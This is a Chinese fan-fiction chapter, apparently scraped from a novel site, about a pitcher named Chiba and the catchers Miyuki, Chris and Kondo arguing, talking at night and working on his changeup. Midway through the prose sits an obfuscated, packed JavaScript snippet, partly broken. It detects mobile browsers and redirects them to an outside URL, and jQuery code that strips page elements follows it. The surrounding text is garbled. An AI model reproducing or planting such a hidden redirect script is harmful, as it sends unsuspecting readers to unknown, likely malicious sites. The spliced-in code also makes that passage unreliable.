从千叶主动走向御幸的位置开始,食堂的人就有意无意地向他们两个那里看。 不能怪他们,实在是这两个人凑到一块就有热闹看。而吃瓜看热闹是人的天性。 但今天很奇怪,千叶跟御幸没有吵起来,除此之外,吵架一向占上风的千叶今天居然好像、输给御幸了? 千叶端着盘子离开的时候居然颇有点落荒而逃的意味。 …… 晚上休息时间。 千叶去了克里斯前辈的寝室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232270|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 克里斯前辈的寝室里没有人,灯没有亮。 千叶正想转身离开,身后却忽然传来一道声音:“你找我有什么事?” 千叶回头。 是克里斯前辈。 克里斯脸还是原来很帅的克里斯前辈,精神状态似乎也不错,甚至原本忧郁的气质也变得平和了许多。 伤病的情况确会影响一个人的气质。千叶想。 现在的克里斯前辈比起原来的更加温柔一点。 千叶的视线转到他的肩膀上,看到克里斯肩膀缠着的绷带。 “克里斯前辈你的胳膊怎么样?”千叶问。 “我不能帮你接球,但可以看看你的投球姿势。”克里斯也在看着他,平静地眼神看着千叶,说,“我听御幸,说你的变速球投球姿势有点问题。” 御幸跟克里斯前辈说的居然是这个事情吗?不是告状吗?千叶震惊地眨眨眼。 在他还没有反应过来的时候克里斯前辈的下一句话就来了:“你想跟我谈心么?” “哈?谈心?” “对,你不愿跟我谈心吗?听御幸说你拒绝过他,所以我想过来试试。”克里斯前辈微笑了一下。 千叶:“……” ——‘千叶,我对你的作用难道就是有用的时候聊一聊,没用的时候一脚踢开吗?’御幸的话忽然在他耳边回响。 千叶表情扭曲起来:“你们捕手之间还有比较自己在投手心目中的位置的活动么?比如争夺投手芳心什么的?” 克里斯听到他的话笑起来。 49.捕手们的谈话会(下) 听到他的话,克里斯前辈只是笑,什么解释的话都没说,只是转过头,让他跟上。 千叶对此表示心情凝重。 谈话,谈话。每个捕手都想找他谈话。他什么时候变得这么受欢迎,大家都这么想搞怀柔政策赢得他的心?他不是刺头吗?感觉怪恶心人的。 他分怎么记得,他国中时的捕手就不会这样。是从前队里有太多太厉害的投手,好捕手稀缺,所以他不值钱,没享受到捕手争抢的待遇?还是青道捕手就是比较奇怪,拿颜值换的? 千叶觉得这事不对。 更奇怪的一点是,没有人觉得这是一个问题—— 千叶跟在克里斯前辈的身后,觉得这副画面有点太似曾相识了。 他跟着克里斯前辈,沿着草地被人反复踩出的小径往上走,夜色慢慢沉到脚底。 等两人站到小坡高处,千叶眼看到底下不远处的训练馆,和出现在训练馆外面没有路灯的阴暗地方的那群不出所料在练习挥棒前辈同期。 千叶:“……”这只是个没有人的小山坡啊,又不是小树林,怎么谁来说话都往这儿跑啊。 这让千叶觉得更害怕了。 所有捕手都喜欢带他来训练馆外面这个小山坡。难道这里是什么“千叶内心活动刷新点”吗? 所以他每天活得那么三点一线,几乎没有触发特殊事件,是因为他不是玩家,而是gala game游戏可攻略npc吗?拜托!他又不是美少女! 身旁的人忽然停住脚步,站在原地不动了。 克里斯察觉到异常,一回头,便撞上千叶那双写满怪异与警惕的眼睛。 表情太奇怪,眼神太直白,好像他害怕他对他图谋不轨。 克里斯诡异地沉默片刻,问道:“……怎么了?” “……没什么。”千叶还是胆子太小,不敢把心里想的说出来。 这孩子好像脑洞一直很大,他不知道他在想什么。克里斯心想。 说是谈心,但其实克里斯前辈并没有跟他说什么。 他只是安静地看着他投出一颗又一颗变速球,在夜色里划出一道模糊的弧线,然后轻轻调整他肩膀的角度、手腕的发力方式,动作沉稳,像从前他的教练一样。 克里斯前辈只是问了他一个有些突兀的问题。 “千叶,我看过你的训练记录,跑垒和守备数据很不错。一般来讲,刚开始学习棒球的时候,教练如果发现某个选手左撇子,都会直接让他尝试投手的位置。但千叶你似乎刚开始学打棒球是做野手的,这是你自己的想法吗?” …… 这并不不是千叶第一次被人问这个问题。 他记得第一个问他这个问题的人是他刚读中学时,俱乐部队里的捕手前辈。 ‘我刚开始打棒球,是因为我爸爸是野手。我刚会抓东西,他就把球棒塞到我手里,让我跟着他天天练挥棒。那时候我根本不知道什么是投手,直到他带我去看比赛,我才明白原来我打的球,是有人专门投过来的。至于教练,他是我爸的朋友,知道我从小跟着爸爸练打击,就默认我以后也要做野手。’——他记得自己当时是这样回答他的。 ‘你爸爸?他是职业选手吗?’——然而那个前辈的注意点却在另一个不相干的地方。 ‘嗯,早就退役了。退役之前,好像还挺有名的——佐佐木智夫,你听过吗?’——他记得自己当时漫不经心,甚至还有点嫌麻烦的不耐烦地回答。 非常不巧,那个前辈不仅认识他爸爸,甚至还是他爸爸的粉丝。 虽然那位前辈没有恶意,但从他爸爸的名字被他,哦不,是被他们知道之后,有的人看他的眼神就变得不一样了。 表现得好就是理所当然——你爸爸是那么厉害的职业选手,这是遗传;打得不好就变成了——果然,再厉害的父亲,儿子也不过如此。 中小学生嘛,人都比较傻,恶意也明显得像沙漠快渴死的人的头顶的太阳,炙烤着。尤其是男生,那个阶段简直坏得天然而刻薄,比他们突出一点的同龄人、后辈出现在身边,就会叫他们无法接受。恰好,他千叶一郎从小到大都相当不会做人,不愿跟垃圾一起玩,就更加惹他们讨厌。 他在投手丘上,他们守备就不会尽力;他在投球,他们的打击就漏洞百出。 教练当然发现了这个情况,只是团队里大半人都对他有意见,再加上那段时间他正处在身体发育期,膝盖频繁抽痛,胳膊也需要保护,于是,他坐了一年冷板凳。 好在那段日子没有持续太久。升到二年级,那些针对他的学长毕业了,而他也厉害到国中阶段几乎没有人能打中他的球。 所以杂音消失了。因为他足够厉害。 千叶抬眼,平静道:“克里斯前辈,我做投手比做打者厉害多了。我做投手比做打者更自由,更厉害,能带领球队赢得比赛,所以做投手还是做打者,我的意愿没有那么重要。只要能赢,我打哪个位置都没关系。我只想站在能赢的位置上打球。” …… 夜色已经彻底沉了下来。 外围的路灯昏黄,把两人的影子拉得很长,晚风掠过低矮的树木沙沙作响,带着夜晚独有的凉意。 “你拜托我的事,今晚我已经做了,他变速球投球的问题并不能一朝改正,但他学得很快。在预选赛前出球点应该能稳定到跟直球相同的位置。” 不远处的自动贩卖机发出“咔哒、咚”两声轻响,两瓶汽水应声落下。 克里斯的左手从里面拿出两瓶饮料,回头问身后的后辈:“橘子味,还是葡萄味?” “橘子吧。”御幸伸手接过,顺手拧开葡萄味的那瓶递回给克里斯,又低头拧开自己那瓶,碳酸气泡在瓶口轻轻炸开,发出“嗞”的一声清响。 他垂下眼睛,语气里带着几分真诚的歉意:“克里斯前辈,你刚回来就要拜托你处理千叶的问题,总觉得太麻烦你了,很不好意思。” 克里斯看了他一眼:“不好意思么?原来御幸你也会有这种感情啊。” “……”御幸有点被揭短了,人嘛,一句话戳中心思,脸颊就会微微发烫,于是有点羞赧的御幸脸红着说,“我也是正常人啊,当然会觉得麻烦别人不好意思!” 克里斯看向御幸,轻笑一声后慢慢收回笑容,眼神重新变得认真起来。他一向懂得他的好胜心。 “虽然我现在暂时没有办法接球,但你也别太松懈,明天春甲我可是有计划参加的,到时候我们就是竞争者,作为捕手,投手的问题我当然需要参与,所以千叶的事情不能算拜托。” 御幸微微一怔,抬头看向克里斯。 克里斯看到这样的后辈又忍不住微笑了一下:“不过你跟千叶的矛盾还没有解决吗?” “……不仅没有,反而更严重了。”御幸忍不住叹了口气,眉宇间染上几分无奈。 “哦?” “我也不确定是哪里出了问题。”御幸指尖轻轻摩挲着凉冰冰的易拉罐,“可能是之前他来问我他变速球的毛病时我语气太直接,也可能是练习赛里把他的球打出去让他不爽了……总之他最近明显在排斥我。” 克里斯安静听着,没有打断。 “以前就算闹别扭,也不会像这次这样。”御幸皱起眉,“故意莫名其妙地说一些讽刺的话想要激怒我,其他的一点都不想跟我说。” 说到这儿,御幸自己也有点气闷,“……而且老实说,我也有点生他的气。” 克里 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他好像是对捕手这个位置的人有要求?御幸想不通。 克里斯听完,轻轻点头:“只有这些吗?近藤前辈跟我说的,比这更直接一点。” “更直接?” “他说,千叶动不动就想跟捕手对着干,明明能好好投,却偏偏要闹脾气,他引导不了。” 御幸:“……”近藤前辈搞不定投手,就这么坦然直接地说出来? 御幸心中忽然有些不甘,他觉得近藤前辈这种行为是在小瞧他。 克里斯前辈受伤不能上场,意味着他要跟近藤前辈争夺正捕的位置,但近藤前辈会跟克里斯前辈说这样的话,其实是没有把他当作对手。 “千叶的身上的问题可以以后慢慢发掘,我认为目前是不需要太过担心的。”克里斯的目光看向御幸,“他有对胜利有足够的渴望,这足够支持他在场上好好表现了,剩下的就看捕手对他的引导。 御幸,你能做到吧?” “当然。”御幸坚定道,“我作为捕手当然会好好引导他。”——他当然不会输给近藤前辈,更不会输给千叶。 “那就好好哄哄他吧,我看他已经不生你的气了。”克里斯道。 御幸忍了一下,没忍住撅起嘴:“……我会的!” 克里斯:“……”这一看就是在说假话。 克里斯一眼看穿,神色也严肃了几分:“你不能指望投手来哄你。千叶没那么不明事理,他对你有意见,多半是因为你也做过什么不好的事吧。” 他仰头喝了一口葡萄味汽水,冰凉的甜意顺着喉咙滑下,眼中的光暗淡下去,“想要跟近藤前辈竞争正捕的位置,就要让投手信任你才行,这点上你远不如近藤前辈。千叶已经是一军投手里最好哄的一个了,好好想想自己该做什么吧。” …… 他们两个回去的路上,发现了跟近藤练完球的千叶正追在近藤屁股后面愤愤不平。 “近藤前辈,你是骗子吗?这两天晚上晚饭都没有金枪鱼!” “啊,那说不准是明天就有了呢!话说……你不觉得今晚月色很美吗?看!” “近藤前辈,不要用表白的话转移话题。好恶心。” “你不是国文不好吗?” “也没有差到连这么大众的表白都不知道啊!” 克里斯:“……” 御幸:“……” 御幸看着眼前诡异的场面,转头看向克里斯,语气复杂:“克里斯前辈……近藤前辈真的跟千叶相处得不错吗?” 克里斯沉默片刻,望着那两道吵吵闹闹的身影,淡淡道:“……可能跟你一样,是用吵架来证明关系好吧。”